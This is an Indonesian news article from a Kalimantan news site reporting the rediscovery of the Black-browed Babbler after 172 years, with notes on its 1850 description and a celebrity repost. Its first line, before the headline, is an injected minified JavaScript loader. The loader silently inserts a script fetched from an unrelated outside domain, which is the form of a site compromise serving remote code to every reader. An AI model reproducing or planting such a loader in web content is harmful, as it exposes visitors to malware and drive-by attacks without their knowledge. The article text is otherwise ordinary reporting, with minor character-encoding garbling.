(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kembalinya Burung Pelanduk Setelah 172 Tahun Hilang

KANALKALIMANTAN.COM, BANJARBARU â€“ Kabar gembira sekaligus penuh kejutan dari dunia satwa Kalimantan. Pelanduk Kalimantan (malacocincla perspicillata), salah satu burung endemik yang dikabarkan sudah menghilang 172 tahun, kembali pulang atau ditemukan.

Menariknya, burung tersebut ditemukan di Batulicin, Kalimantan Selatan (Kalsel).
Kabar baik dan kental aroma konservasi keanekaragaman hayatinya itu, diperoleh dari Kepala Balai Taman Nasional (TN) Sebangau, Andi Muhammad Kadhafi.

Penemuan Pelanduk Kalimantan merupakan kabar yang cukup menggembirakan. Betapa tidak, burung langka ini pertama kali dijelaskan oleh ahli burung asal Perancis, Charles Lucien Bonaparte pada 1850.

Hal tersebut berdasarkan spesimen yang dikumpulkan oleh ahli geologi dan naturalis Jerman, Carl Schwaner selama ekspedisinya ke Hindia Timur pada 1840.

Tak terkecuali aktor Hollywood, Leonardo DiCaprio ikut senang akan kehadiran kembali spesies burung pelanduk ini.

Leonardo DiCaprio merepost postingan Global Wildlife Conservation di Instagram terkait kembali ditemukannya burung pelanduk Kalimantan super langka (Malacocincla perspicillata) setelah 172 tahun menghilang.

Berikut informasi terkait spesies langka burung pelanduk dalam videografis.